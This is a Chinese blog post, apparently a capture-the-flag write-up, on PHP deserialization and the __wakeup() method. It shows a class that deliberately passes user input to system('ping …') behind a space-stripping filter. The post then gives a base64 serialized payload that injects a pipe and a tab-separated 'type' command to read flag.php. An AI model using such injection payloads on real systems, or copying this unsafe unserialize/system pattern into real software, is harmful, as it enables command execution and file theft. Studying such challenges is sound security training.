反序列化__wakeup

  1. 简介                  

__wakeup(),执行unserialize()时,先会调用这个函数。     

<?php
class c1
{
    private $argv;
    private $method;

    function __construct($argv,$method)
    {
        $this->argv=$argv;
        $this->method=$method;

    }

    public function f1()
    {
        echo "f1";
    }


    function __wakeup()
    {

        $this->f1();

    }


}

$c1= new c1('123','GET');
$b = serialize($c1);
echo $b;
$str= $_GET['str'];
unserialize($str);

 2.CTF考题

index.php 读取目录flag.php

<?php
class home{

    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function ping($host){
        system("ping -c 2 $host");
    }
    function waf($str){
        $str=str_replace(' ','',$str);
        return $str;
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
           $this->args[$k] = $this->waf(trim(addslashes($v)));
 
        }
    }
}
$a=@$_GET['a'];

unserialize(base64_decode($a));

解题思路    

unserialize 反序列化的时候会优先调用__wakeup() 进行空格过滤 $this->waf 调用waf函数把空格过滤是空。     

首先构造序列化 base64    

Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czo2NzoiMTI3LjAuMC4xfHR5cGUJRDpccGhwc3R1ZHlfcHJvXFdXV1x3d3cudGVzdDEuY29tXGN0ZlxkZW1vNVxmbGFnLnBocCI7fX0=

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jack-yyj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值